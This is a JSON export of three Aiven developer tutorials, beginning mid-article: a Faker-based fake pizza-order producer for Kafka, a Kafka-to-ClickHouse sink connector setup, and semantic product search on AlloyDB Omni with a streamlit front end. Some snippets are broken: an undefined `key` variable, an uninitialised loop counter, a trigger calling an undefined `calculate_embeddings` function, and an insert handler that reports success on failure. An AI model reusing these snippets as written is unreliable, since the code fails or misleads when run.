`PizzaProvider` in our `main.py` file and run it for 10 samples\n\n```\nfrom pizzaproducer import PizzaProvider\nfake.add_provider(PizzaProvider)\nfor i in range(0,10):\n print(fake.pizza_name())\n```\nWe correctly obtain\n```\nMari \u0026 Monti\nSalami\nMarinara\nPepperoni\nMarinara\nPepperoni\nSalami\nPepperoni\nMargherita\nPepperoni\n```\n\nBut like in any respectable pizzeria, we allow people to add **toppings** from a list, and similarly to the above, we can define a custom `pizza_toppings` function. The same goes to record which **pizza shop** in our chain is receiving the order, which generation is demanded to the `pizza_shop` function.\n\nThe full pizza fake data provider code can be found [here](https://github.com/aiven/python-fake-data-producer-for-apache-kafka/blob/main/pizzaproducer.py), ready for a copy-paste into our `pizzaproducer.py` file.\n\n### 3.2 Creating an order\n\nWe now have all the building blocks, let's create an order.\nFor each call, we note down the `Name`, `Address` and `Phone Number`. The customer however can order 1-10 pizzas, and, for each pizza, 0-5 additional toppings. To generate fake orders, can define a function that accepts a randomly generate `orderid` and returns the order `message` and related `key`.\nOne thing to note: we decided to key our messages with a representation of the shop name in Json format. This will ensure all orders from the same shop to appear in the same `pizza-order` [topic partition](https://aiven.io/developer/balance-data-across-kafka-partitions), thus making sure that a shop's requests will be executed following the order arrival time.\n\n```\n# creating function to generate the pizza Order\ndef produce_pizza_order (orderid = 1):\n shop = fake.pizza_shop()\n # Each Order can have 1-10 pizzas in it\n pizzas = []\n for pizza in range(random.randint(1, MAX_NUMBER_PIZZAS_IN_ORDER)):\n # Each Pizza can have 0-5 additional toppings on it\n toppings = []\n for topping in range(random.randint(0, MAX_ADDITIONAL_TOPPINGS_IN_PIZZA)):\n toppings.append(fake.pizza_topping())\n pizzas.append({\n 'pizzaName': fake.pizza_name(),\n 'additionalToppings': toppings\n })\n # message composition\n message = {\n 'id': orderid,\n 'shop': shop,\n 'name': fake.unique.name(),\n 'phoneNumber': fake.unique.phone_number(),\n 'address': fake.address(),\n 'pizzas': pizzas\n }\n return message, key\n\n```\nCalling the above code with\n\n```\nproduce_pizza_order(704)\n```\nWill generate a `key` like\n```\n{\n \"shop\":\"Luigis Pizza\"\n}\n```\nAnd a `message` like\n\n```\n{\n \"id\": 704,\n \"shop\": \"Luigis Pizza\",\n \"name\": \"Jessica Green\",\n \"phoneNumber\": \"(549)966-3806x9591\",\n \"address\": \"458 Conway Dale Apt. 510\\nZacharyborough, TX 48185\",\n \"pizzas\": [\n {\n \"pizzaName\": \"Mari \u0026 Monti\",\n \"additionalToppings\": [\n \"banana\"\n ]\n },\n {\n \"pizzaName\": \"Peperoni\",\n \"additionalToppings\": [\n \"ham\"\n ]\n }\n ]\n}\n\n```\n\n## 4. Creating a Fake Producer\nWe described above two lego blocks: Kafka producer settings and fake order generator. What's missing?\nWe need a continuous stream of events. This we can easily simulate, for `100` messages for example, with a loop:\n\n```\nimport time\nwhile i \u003c 100:\n message, key = produce_pizza_order(i)\n\n print(\"Sending: {}\".format(message))\n # sending the message to Kafka\n producer.send(topic_name,\n key=key,\n value=message)\n # 2 seconds of sleep time before the next message\n time.sleep(2)\n\n # Force sending of all messages\n if (i % 100) == 0:\n producer.flush()\n i=i+1\nproducer.flush()\n```\n\n## 5. The code is yours!\n\nBy following the above steps you should be able to correctly produce events to Kafka. But, if you are keen on looking at the ready-made project, check out the [related Github repo](https://github.com/aiven/python-fake-data-producer-for-apache-kafka) which will enable you to generate data within minutes.\n\nAfter executing the code, we can verify that the Producer did its job by going to the **Topics** tab in [Aiven.io console](https://console.aiven.io) and checking the `pizza-orders` offset:\n\n![topic info](//cdn.sanity.io/images/sczeoy4w/production/498c6b2376689c16244c3d4a166114cde4ac64eb-1187x345.png \"Pizza orders topic info\")\n\nAnd, since we enabled Kafka REST APIs, also by viewing the actual topic content:\n![topic message view](//cdn.sanity.io/images/sczeoy4w/production/0c0690e9285bc149986e3282a35c78f9432439ca-987x746.png \"Pizza orders topic content\")\n\n::banner[Apache Kafka as a fully managed service, with zero vendor lock-in and a full set of capabilities to build your streaming pipeline.]{ctaText=\"Get started for free\" ctaLink=\"https://console.aiven.io/signup\" title=\"Get your first cluster online now\" theme=\"dark\"}\n\n## Wrapping up\nIf you want to explore the benefits of Apache Kafka, then you need a proper streaming dataset. Whether you want a silly pizza use case or to mimic your datasets, Faker can help you by providing a streaming playground.\n\n* [What is Apache Kafka](https://aiven.io/blog/what-is-apache-kafka)\n* [An introduction to event-driven architecture](https://aiven.io/blog/introduction-to-event-driven-architecture)\n* [Getting Started with Aiven for Apache Kafka](https://aiven.io/docs/products/kafka/getting-started)\n* [Learn about tools for Kafka](https://aiven.io/docs/products/kafka/howto/list-tools)\n* [Learn more about Faker](https://faker.readthedocs.io/en/master/)\n* [Learn how to use kcat](https://aiven.io/docs/products/kafka/howto/kcat)\n* [Check out the related repo](https://github.com/aiven/kafka-python-fake-data-producer)\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":true,"endDate":"2023-09-30T14:37:00.000Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"93f751bd8ae2","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2024-01-31T09:56:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-63a676d4b614586ed8de8811de4c53ad9852deac-1567x844-jpg","_type":"reference"}},"metaTitle":"Create a Custom Kafka Data Stream with Python and Faker"},"slug":{"_type":"slug","current":"/developer/create-your-own-data-stream-for-kafka-with-python-and-faker"},"subtitle":"How can you test an empty data pipeline? Read on to discover how to create pretend streaming data using Python and Faker.","tags":[{"_key":"c0efec6b7626","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"f7ac9002aece","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"bbbbe436cafb","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"Create your own data stream for Apache Kafka® with Python and Faker"} {"__i18n_lang":"en","_createdAt":"2024-11-23T10:40:46Z","_id":"2d1b3e3a-04eb-406f-93be-30d8167796e2","_rev":"lbpMA3MBWy0eIji4xoNTH4","_type":"devArticle","_updatedAt":"2024-12-11T14:51:58Z","body":"Apache Kafka and ClickHouse are commonly used together for real-time data analytics and event-driven systems. Both tools are built for speed and scale. While Apache Kafka efficiently handles streaming data ClickHouse excels at Online Analytical Processing (OLAP) and is designed for fast queries on large datasets. By combining Apache Kafka and ClickHouse we can support a variety of different usecases, such as accurate real-time analytics, fraud detection systems, financial records pipelines. \n\nFor these scenarios, precision is key - you want to make sure every record is ingested exactly once. That’s where the Aiven platform comes in. With support for the ClickHouse Kafka Connect Sink and built-in exactly-once semantics, Aiven makes it easy to reliably move data from Kafka to ClickHouse without duplicates or data loss. With this you can use real-time data without any other post-processing work and deduplication, allowing quicker intelligent analysis, fewer errors, and fewer data munging by expensive data engineers, overall maximising your total cost of ownership and reducing ops expenditure.\n\nIn this article, we’ll show you how to stream data from Apache Kafka to ClickHouse using Aiven platform. As an example, we’ll walk through setting up a pipeline to stream sensor data into a Kafka topic and then sink that data into a ClickHouse table.\n\n## Step 1. Create two services - Aiven for Apache Kafka and Aiven for ClickHouse\n\nFor this tutorial, we’ll be using Aiven for Apache Kafka, which is quick and easy to set up. If you’re new to Aiven, you can [create an account](https://console.aiven.io/signup) — you'll also get free credits to start your trial.\n\nOnce you're signed in, [create two new services](https://aiven.io/docs/platform/howto/create_new_service) Aiven for Apache Kafka and Aiven for ClickHouse. \n\n[Add a new topic](https://aiven.io/docs/products/kafka/howto/create-topic) \"sensor_readings\" to Apache Kafka. \n\n## Step 2. Stream the data into Apache Kafka\n\nThere are several ways to add test data to Apache Kafka. For this tutorial, we’ll use the `kcat` tool along with a simple bash script. To get started, you’ll need to install `kcat` and create a `kcat.config` file. This file should include the URI to your Kafka cluster and the necessary certificates:\n\n```shell\nbootstrap.servers=demo-kafka.my-demo-project.aivencloud.com:17072\nsecurity.protocol=ssl\nssl.key.location=service.key\nssl.certificate.location=service.cert\nssl.ca.location=ca.pem\n```\nYou can learn more about getting started with [kcat and Aiven here](https://aiven.io/docs/products/kafka/howto/kcat).\n\nOnce you’ve set up the `kcat.config`, next to it create a new file called `stream_sensor_data.sh`. This script will generate test data and send it to a Kafka topic:\n\n```shell\n#!/bin/bash\n\n# Kafka topic name\nTOPIC=\"sensor_readings\"\n\n# Number of messages to send\nNUM_MESSAGES=10\n\n# Function to generate random sensor readings\ngenerate_sensor_data() {\n local SENSOR_ID=\"s$((RANDOM % 5 + 1))\" # Generate sensor IDs like s1, s2, ..., s5\n local TEMPERATURE=$(awk -v min=15 -v max=30 'BEGIN{srand(); printf \"%.1f\", min+rand()*(max-min)}') # Random temperature 15-30\n local HUMIDITY=$((RANDOM % 41 + 60)) # Random humidity 60-100\n local TIMESTAMP=$(date +%s) # Current Unix timestamp\n echo \"{\\\"sensor_id\\\": \\\"$SENSOR_ID\\\", \\\"temperature\\\": $TEMPERATURE, \\\"humidity\\\": $HUMIDITY, \\\"timestamp\\\": \\\"$TIMESTAMP\\\"}\"\n}\n\n# Stream test data to Kafka topic\nfor ((i = 1; i \u003c= NUM_MESSAGES; i++)); do\n DATA=$(generate_sensor_data)\n echo \"Sending: $DATA\"\n echo \"$DATA\" | kcat -F kcat.config -t $TOPIC -P\n sleep 1 # Optional: pause between messages\ndone\n\necho \"Finished streaming $NUM_MESSAGES messages to topic '$TOPIC'.\"\n```\n\nIf you enable [Apache Kafka REST API](https://aiven.io/docs/products/kafka/concepts/kafka-rest-api) you can fetch messages as they arrive in the topic:\n![read-kafka-messages.png](https://cdn.sanity.io/images/sczeoy4w/production/bb39f920639e674ef71a6095584e937d6e713b56-1528x1150.png)\n\n## Step 3. Create a table in ClickHouse\n\nTo add a new table in ClickHouse, simply run an SQL query in the `Query Editor` found on the service page of your Aiven for ClickHouse.\n```shell\nCREATE TABLE sensor_readings (\nsensor_id String,\ntemperature Float32,\nhumidity UInt8,\ntimestamp DateTime\n)\nENGINE = MergeTree\nORDER BY (sensor_id, timestamp);\n```\n\n![create-table.png](https://cdn.sanity.io/images/sczeoy4w/production/7d683f19b6ede5a4f804c38c6dcff00a07202389-2978x1100.png)\n\n## Step 4. Sink the data from Apache Kafka to ClickHouse\n\nNow it’s time to set up a connector to sink data from your Apache Kafka topic into the ClickHouse table. You can do this using either the Aiven CLI or the Aiven Console. In this article, we’ll use the Aiven Console, but you can find detailed instructions for the CLI [in our documentation](https://aiven.io/docs/products/kafka/kafka-connect/howto/clickhouse-sink-connector).\n\nTo get started, go to the **Connectors** page in your Aiven for Apache Kafka service and click to create a new connector. From the list, select the **ClickHouse Connector**. Then, edit the connector configuration in JSON format and add the following information::\n\n```shell\n{\n \"hostname\": \"YOUR_CLICKHOUSE_HOSTNAME\",\n \"name\": \"clickhouse_sink_connector\",\n \"port\": \"YOUR_CLICKHOUSE_PORT\",\n \"connector.class\": \"com.clickhouse.kafka.connect.ClickHouseSinkConnector\",\n \"database\": \"default\",\n \"tasks.max\": \"1\",\n \"username\": \"YOUR_CLICKHOUSE_USERNAME\",\n \"password\": \"YOUR_CLICKHOUSE_PASSWORD\",\n \"ssl\": \"true\",\n \"topics\": \"sensor_readings\"\n}\n```\n\n![add-connector.png](https://cdn.sanity.io/images/sczeoy4w/production/479a138ad118be8522b87c66a968ed850967e657-1770x900.png)\n\nBe sure to update the configuration with your ClickHouse connection details. You can find these values under the **ClickHouse HTTPS \u0026 JDBC** tab.\n\nWhen you’re ready, click **Apply** and wait for the connector to start. If you encounter any issues, a stack trace will be available to help you troubleshoot.\n\nOnce the connector is up and running, you can verify the data in your ClickHouse table:\n\n```shell\nSELECT * FROM sensor_readings LIMIT 10\n```\n![read-table-data.png](https://cdn.sanity.io/images/sczeoy4w/production/be8192ec1b69637b0b9aef02e57dba78b0cfe978-2456x642.png)\n\n\n## Get the best from the ClickHouse Kafka sink connector\n\nWhen using the ClickHouse Kafka sink connector, there are a few important points to keep in mind for optimal performance.\n\n### Apache Kafka connect deployment\n\nWhile you can run Apache Kafka Connect as part of your existing Aiven for Apache Kafka service for simplicity, this approach comes with certain performance trade-offs. For production workloads, it’s recommended to use a standalone Apache Kafka Connect service.\nThe Aiven platform allows you to enable a standalone Apache Kafka Connect service, providing the following advantages:\n\n- Independent scaling of your Apache Kafka and Kafka Connect services.\n- Enhanced resource allocation with additional CPU time and memory for the Kafka Connect service.\n\nThis setup will give you better performance and flexibility, particularly for demanding production environments.\n\n### Optimizing data ingestion into ClickHouse\n\nClickHouse's MergeTree engine is designed to perform best when data is ingested in larger batches. Ingesting individual records can slow down the merging process and create potential bottlenecks.\n\nTo optimize batch sizes and improve throughput, consider fine-tuning the following Kafka connector settings:\n\n- fetch.min.bytes: Minimum amount of data to fetch in a single poll.\n- fetch.max.bytes: Maximum amount of data to fetch in a single poll.\n- max.poll.records: Maximum number of records returned per poll.\n\nThese settings help ensure efficient data ingestion and smoother operation of the MergeTree engine.","feature":{"_type":"featuredItem","active":false,"endDate":"2024-11-30T10:38:45.820Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2024-11-23T10:35:51.838Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Stream data from Apache Kafka® to ClickHouse® for real-time analytics","asset":{"_ref":"image-cc608654c99125699f4fb6547d837e2f0aa13df5-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/stream-data-from-apache-kafkar-to-clickhouser-for-real-time-analytics"},"subtitle":"Learn how to create a ClickHouse sink connector for Apache Kafka® with Aiven platform","tags":[{"_key":"07a69f8c51cd","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"5f3c64f50f80","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"}],"title":"Stream data from Apache Kafka® to ClickHouse® for real-time analytics"} {"__i18n_lang":"en","_createdAt":"2024-10-08T10:15:23Z","_id":"af805c2e-da3b-48e5-888b-d3103b039b5b","_rev":"0h6e4MYEG0xbOjLBGGmRHW","_type":"devArticle","_updatedAt":"2024-11-28T13:08:06Z","body":"Semantic product search enables users to retrieve results based on the meaning of a sentence rather than the literal words contained in it. It's a great option for allowing users to discover products in a catalog by describing what they want to find, instead of having to guess the exact words used in the product description.\n\nThis tutorial walks you through how to perform semantic product search using Aiven for AlloyDB Omni and its native integration with AI tooling.\nThe embedding calculation, needed for the semantic search, will be done using the VertexAI `textembedding-gecko` model. The front-end will be developed with a [streamlit](https://streamlit.io/) application, used to display the search and insert functionalities in a webpage.\n\n\n\n## Create an Aiven for AlloyDB Omni service and enable the AI integration\n\nThe first step in the tutorial is to create an [Aiven for AlloyDB Omni](https://aiven.io/alloydb-omni) service. You can create an instance in Google Cloud, AWS or Azure, giving you the maximum flexibility of cloud deployment. \n\n![Create an Aiven for AlloyDB Omni service in the Aiven Console](https://cdn.sanity.io/images/sczeoy4w/production/c11d4cfcc9658f88a9949c9371920481a0a8fcb1-1464x824.png)\n\nYou can review all the steps required to create the Aiven for AlloyDB Omni service in the dedicated [Get Started](https://aiven.io/docs/products/alloydbomni/get-started) page.\n\nOnce the service is up and running, connect to it with [psql](https://aiven.io/docs/products/postgresql/howto/connect-psql) using the **Service URI** you can find in the service page of the [Aiven Console](console.aiven.io/).\n\n```bash\npsql [SERVICE_URI]\n```\n\nAfter connecting, enable the `google_ml_integration` and `vector` extensions with:\n\n```sql\nCREATE EXTENSION IF NOT EXISTS google_ml_integration;\nCREATE EXTENSION IF NOT EXISTS vector;\n```\n\n### Define the Google credentials for the Vertex AI integration\n\nWith the extensions enabled, it's time to upload the Google service account key to be used for the Vertex AI connection. \n\n\u003c!-- Is this the best place for this note? Basically we need to point out that they're going to need a servic account to use the Vertex AI service--\u003e\n::alert[If you don't already have a Google Cloud service account, follow the instructions at [Create service accounts](https://cloud.google.com/iam/docs/service-accounts-create).]\n\nIn the [Aiven Console](console.aiven.io/), navigate to the Aiven for AlloyDB Omni service created above and click on the **Generative AI** tab. There you can find the **Google service account key** section where you need to upload the Google credentials.\n\n![Google Service Account Key](https://cdn.sanity.io/images/sczeoy4w/production/e791cb16ed9d837d7e4e1f74536dace06584437b-1422x477.png)\n\nYou can find more information about how to retrieve the key in the dedicated [Manage Google credential](https://aiven.io/docs/products/alloydbomni/manage-credentials) page.\n\n### Register the Vertex AI model \n\nWith the configuration in place, you now can register the model in Aiven for AlloyDB Omni. You can do it by executing the following SQL:\n\n```sql\nCALL\n google_ml.create_model(\n model_id =\u003e 'textembedding-gecko@001',\n model_provider =\u003e 'google',\n model_qualified_name =\u003e 'textembedding-gecko@001',\n model_type =\u003e 'text_embedding',\n model_auth_type =\u003e 'alloydb_service_agent_iam');\n```\n\nThe above call registers the model and uses the authentication key defined in the previous step.\n\n## Create the data structures and upload the data\n\nWith the integration in place, you can then connect to Aiven for AlloyDB Omni and create the following table to store the product inventory.\n\n```sql\nCREATE TABLE PRODUCT (\n ID SERIAL,\n URL TEXT, \n TITLE TEXT, \n IMAGES TEXT,\n DESCRIPTION TEXT,\n PRODUCT_ID bigint,\n SKU bigint,\n GTIN bigint,\n BRAND TEXT,\n PRICE decimal,\n CURRENCY TEXT,\n AVAILABILITY TEXT, \n UNIQ_ID TEXT,\n SCRAPED_AT TEXT,\n EMB REAL[768]);\n```\n\nThe above table, called `PRODUCTS` contains a set of fields defining the product like `ID`, `TITLE`, `DESCRIPTION`, `PRICE` and `IMAGES` containing a set of product images delimited by `~`. \nIt also contains a column `EMB` where you'll store the embeddings that will be calculated on the `DESCRIPTION` field using Vertex AI `textembedding-gecko` model.\n\nYou can either populate the data yourself, or, for example, use the [Home Depot dataset from data.world](https://data.world/crawlfeeds/the-home-depot-dataset). If you chose the latter, you can upload the products in the table with:\n\n```sql\n\\copy PRODUCT (URL, TITLE, IMAGES, DESCRIPTION, PRODUCT_ID, SKU, GTIN,\n BRAND, PRICE, CURRENCY, AVAILABILITY, UNIQ_ID, SCRAPED_AT)\nFROM 'home_depot_data_1_2021_12.csv' DELIMITER ',' quote '\"' HEADER csv;\n```\n\nPlease note, that the `home_depot_data_1_2021_12.csv` file needs to be in the same folder where `psql` has been launched, or you will need to specify full path to the file.\n\n## Calculate embeddings for the existing data\n\nThe `\\copy` command executed in the previous step populated all the columns apart from the `EMB` embedding column. To populate that you need to call the VertexAI `textembedding-gecko` model and retrieve the embeddings. This operation is not possible in standard PostgreSQL®, but AlloyDB Omni makes it available using the `google_ml_integration` extension you enabled earlier.\n\nTo get a sense of how to call the extension you can execute the following:\n\n```sql\nSELECT google_ml.embedding(model_id =\u003e 'textembedding-gecko@001', content=\u003e 'Indoor lamp');\n```\n\nThe above calls Vertex AI `textembedding-gecko` version `001` passing the content `Indoor lamp` and retrieving the embeddings.\nThe result will be an array of 768 numbers (exactly the size of the `EMB` array defined above), representing the prase `Indoor lamp`.\n\nYou can then use the same function to update the `EMB` column in `PRODUCT` table with:\n\n```sql\nUPDATE PRODUCT set EMB = google_ml.embedding(model_id =\u003e 'textembedding-gecko@001', content=\u003e DESCRIPTION);\n```\n\nAfter running the above, you will have the `EMB` column populated with the embeddings representing the `DESCRIPTION` column.\n\n## Create a trigger to automatically calculate the embeddings in incoming data\n\nYou backfilled the `EMP` column for previously inserted data. What about handling newly inserted rows? For this you can create a trigger that, on every `INSERT`, calls VertexAI, retrieves the embeddings and stores them in the `EMP` column.\n\nThe first step to achieve this is to create a function to calculate the embeddings:\n\n```sql\nCREATE OR REPLACE FUNCTION embedding_trigger()\n RETURNS TRIGGER\n LANGUAGE PLPGSQL\nAS\n$$\nBEGIN\n NEW.EMB = calculate_embeddings(NEW.description);\n RETURN NEW;\nEND;\n$$;\n```\n\nAnd then create a trigger to execute the function on every `INSERT` (you could similarly do the same for `UPDATE`s).\n\n```sql\nCREATE TRIGGER product_update_emb\n BEFORE INSERT ON product FOR EACH ROW\n EXECUTE PROCEDURE embedding_trigger();\n```\n\nIf you now insert a new item in the `PRODUCT` table, the `EMB` column will be automatically populated. For instance:\n\n```sql\nINSERT INTO PRODUCT (TITLE, DESCRIPTION) VALUES ('New Lamp', 'New Lamp Description');\n```\n\n\n## Perform semantic vector search\n\nThe next step is to perform semantic vector search, based on an input text. Let's assume the user made a query with the text `Indoor Lamp`.\n\nYou can retrieve the closest 10 items in the inventory with the following query:\n\n```sql\nSELECT \n title, \n substr(description, 0, 100) description,\n price\n FROM product \n ORDER by EMB::vector \u003c-\u003e google_ml.embedding(model_id =\u003e 'textembedding-gecko@001', content=\u003e 'Indoor Lamp')::vector \n LIMIT 10;\n```\n\nIn the above:\n\n* You are retrieving the `title`, the first 100 characters of the `description` and the price\n* The `order by EMB::vector \u003c-\u003e google_ml.embedding` performs a vector search. To learn more about vector search and optimization, look at the article [Speed up PostgreSQL pgvector queries](https://aiven.io/developer/postgresql-pgvector-indexes).\n\nThe results are:\n\n```text\n title | description | price\n-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------+--------\n New lamp | My new beautiful lamp | 150.0\n Galvan 19 in. White LED Task Table Lamp | Design meets functionality in this Galvan table lamp. Perfect for task lighting, the lamp offers th | 25.55\n 15 in. Chandra Ivory Ceramic Table Lamp | Inspired by the soft elegance of a cottage along the coast, this contemporary table lamp adds a tou | 28.84\n 2-Light Iron Black Bath Light | This attractive bath light will look so wonderful inside your home. It features a beautiful iron bl | 119.99\n Jane 26 in. Glass Table Lamp, Clear | Originally an icon of rustic charm, the French demijohn shape gets a modern update in sleek, clear | 62.56\n Kayden 25. 5 in. Navy Blue Table Lamp with White Shade | Give your decor the perfect finishing touch with this Kayden Table Lamp. Pleated navy blue ceramic | 69.41\n New Lamp | New Lamp Description |\n Polo 1-Light Brushed Nickel Pendant | The POLO pendant will light up your home with a retro industrial style. Featuring a wide bowl shade | 120.75\n Hanging Globe 1-Light Satin Aluminum Pendant | The Sea Gull Lighting Hanging Globe 1-light indoor pendant in antique brass is the perfect way to a | 82.37\n Happy Hedgehog 21.5 in. White, White Wash, Gray Accent Table Lamp | An adorable option for a child's room or nursery, this table lamp features a little hedgehog as the | 57.18\n(10 rows)\n```\n\n## Create a Web UI with streamlit\n\nThe last piece of the solution is to create a Web UI enabling users to perform semantic search and operators to add products to the inventory. \n\nTo showcase the functionality, you can build an app using [streamlit](https://streamlit.io/) with two pages, one dedicated to **Search** and one to **Add** items to the inventory.\n\n::alert[The example presented here is an oversimplified prototype, not requiring any security login. For production workloads we strongly suggest you implement additional security layers.]{title=\"Warning\" type=\"warning\"}\n\nAfter [installing streamlit](https://docs.streamlit.io/get-started/installation0), you will need to create a main project folder, called `demo-app`. Within that folder create:\n\n* A `requirements.txt` file listing all the packages need for the applications, which are the following\n\n ```text\n psycopg2-binary\n sqlalchemy\n google\n streamlit\n streamlit-aggrid\n ```\n\n* A `secrets.toml` containing the connection secrets to Aiven for AlloyDB Omni. Replace `[HOSTNAME]`, `[PORT]`, `[USER]`, `[PASSWORD]` with the details you can find in the [Aiven Console](console.aiven.io/):\n\n \u003c!-- using `toml` as the text type added newlines after the `[` and before the `]` - presumably some confusion with arrays. So just using `text` --\u003e\n ```text\n [connections.postgresql]\n dialect = \"postgresql\"\n host = \"[HOSTNAME]\"\n port = \"[PORT]\"\n database = \"defaultdb\"\n username = \"[USER]\"\n password = \"[PASSWORD]\"\n ```\n\n### Create the semantic search page\n\nTo provide the semantic search functionality, create a page called `Search.py` with the following content:\n\n```python\nimport streamlit as st\n\nst.set_page_config(layout=\"wide\")\n\n# Initialize connection.\nconn = st.connection(\"postgresql\", type=\"sql\")\n\ndef search_in_db(query):\n\n df = conn.query('''\n SELECT \n CASE WHEN position('~' IN images) = 0 \n THEN Images \n ELSE\n substr(images, 0, position('~' IN images)) \n END IMG_URL,\n title,\n price, \n substr(description, 0, 100) description\n FROM product \n order by EMB::vector \u003c-\u003e google_ml.embedding(model_id =\u003e 'textembedding-gecko@001', content=\u003e :query)::vector \n limit 10''', params=query, ttl=10)\n\n st.data_editor(\n df,\n column_config={\"img_url\": st.column_config.ImageColumn(\n \"Image\", help=\"item preview\", width=\"80px\"\n )})\n \nst.header(\"Semantic Product Search\")\n\ncol1, col2 = st.columns([6,1])\nwith col1:\n st.write(\"Powered by Aiven for AlloyDB Omni\")\nwith col2:\n st.image(\"https://aiven.shop/cdn/shop/files/aiven-logo_RGB.png\", width=100)\n\nform = st.form(key=\"match\")\nwith form:\n query_str = st.text_input(\"Find Product\")\n submit = st.form_submit_button(\"Search\")\n if submit:\n search_in_db({\"query\":query_str})\n```\n\nPlease note:\n\n* The SQL query retrieves the first image from the `IMAGES` column (separated by `~`), alongside the title, price and truncated description. It's using the same syntax to perform embedding calculation and vector search that we defined in the previous section.\n* The `query_str` is collected in the form and passed to the `search_in_db` function\n\nYou can now run the application with:\n\n```bash\nstreamlit run Search.py\n```\n\nThe above command opens a new webpage where you can browse the inventory. Searching for `knobs round` will likely show you the following results:\n\n![Search result for round knobs](https://cdn.sanity.io/images/sczeoy4w/production/a5123abc7d18922d14a51c047f9cc95aaeff7ea9-1467x669.png)\n\n\n### Create the add items page\n\nSimilarly we can create a page to add items to the inventory. To do so, create a folder called `pages` and, within it, a new file named `Add.py` with the following content:\n\n```python\nimport streamlit as st\nfrom sqlalchemy.sql import text\n\nst.set_page_config(layout=\"wide\")\n\nconn = st.connection(\"postgresql\", type=\"sql\")\n\nst.header(\"Add new product to Inventory\")\n\ncol1, col2 = st.columns([6,1])\nwith col1:\n st.write(\"Powered by Aiven for AlloyDB Omni\")\nwith col2:\n st.image(\"https://aiven.shop/cdn/shop/files/aiven-logo_RGB.png\", width=100)\n\nwith st.form(\"New Product\"):\n st.write(\"Add a new product\")\n my_title = st.text_input('Title')\n my_description = st.text_input('Description')\n my_price = st.number_input('Price')\n my_image = st.text_input('Image Url') \n submit_button = st.form_submit_button('Submit item')\n\n if submit_button:\n with conn.session as s:\n try:\n s.execute(\n text('INSERT INTO product (title, description, price, images) VALUES (:title, :description, :price, :image);'),\n params={\"title\": my_title, \"description\": my_description, \"price\": my_price, \"image\": my_image})\n s.commit()\n except Exception as e:\n print(e)\n finally:\n st.write(\"Saved\")\n```\n\nApart from decorative code, the main page functionality is contained in a single statement:\n\n```python\ns.execute(\n text('INSERT INTO product (title, description, price, images) VALUES (:title, :description, :price, :image);'),\n params={\"title\": my_title, \"description\": my_description, \"price\": my_price, \"image\": my_image})\n```\n\nThis inserts the data into Aiven for AlloyDB Omni. Be careful to check that the insert only sets the `title`, `description`, `price` and `images` columns. The `EMB` column containing the embedding will automatically be populated by the trigger defined above.\n\nTo test the new page you just have to refresh the web page opened before, after which you should see a new tab called **Add**. Clicking on it will take you to the form enabling you to add items to the inventory. \n\n![Add item page](https://cdn.sanity.io/images/sczeoy4w/production/80c8a91cfe5323f3c92bb8f185a96f6e2aa692ea-1476x660.png)\n\nIt's time for testing now. Add items to the inventory and check if the semantic search results are influenced by the new products.\n\n## Conclusion\n\nSemantic search is rapidly becoming a must have for any web facing tools. The ability to find content/products based on the semantics of the query rather than the actual wording enables a huge variety of users with different language skills to be able to find content rapidly and effectively.\n\nWhile performing semantic search in the past required having separated compute instances to invoke AI models and retrieve embeddings, Aiven for AlloyDB Omni enables developers to provide semantic search functionality with only SQL statements and a basic front-end application. This improves the simplicity and robustness of any semantic search or AI driven application.\n\nYou can start trying out [Aiven for AlloyDB Omni](https://aiven.io/alloydb-omni) now, in the [Aiven Console](https://console.aiven.io/), or read more in the [Aiven documentation](https://aiven.io/docs/products/alloydbomni).\n\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-10-15T10:15:08.405Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2024-10-08T15:20:13.719Z","seo":{"_type":"metaData","metaDescription":"Learn to perform semantic search using Aiven for AlloyDB Omni, where the vector embeddings for the search will be generated using SQL that calls out to VertexAI.","metaImage":{"_type":"mainImage","alt":"Semantic product search with Aiven for AlloyDB Omni","asset":{"_ref":"image-34e102803941f9d2e40e5462ad34d64e95d7f228-1200x628-png","_type":"reference"}},"metaTitle":"Semantic product search with Aiven for AlloyDB Omni"},"slug":{"_type":"slug","current":"/developer/semantic-search-with-aiven-for-alloydb-omni"},"subtitle":"Learn how to perform semantic search using Aiven for AlloyDB Omni. The vector embeddings for the search will be generated using SQL that calls out to VertexAI. The streamlit front-end will show search and insert functionalities in a webpage.","tags":[{"_key":"d44100cafd53","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"0ec4210f9327","_ref":"39fd5db7-c38d-4c87-8ce2-408bd8a79253","_type":"tag"},{"_key":"b5226aa25508","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Semantic product search with Aiven for AlloyDB Omni"} 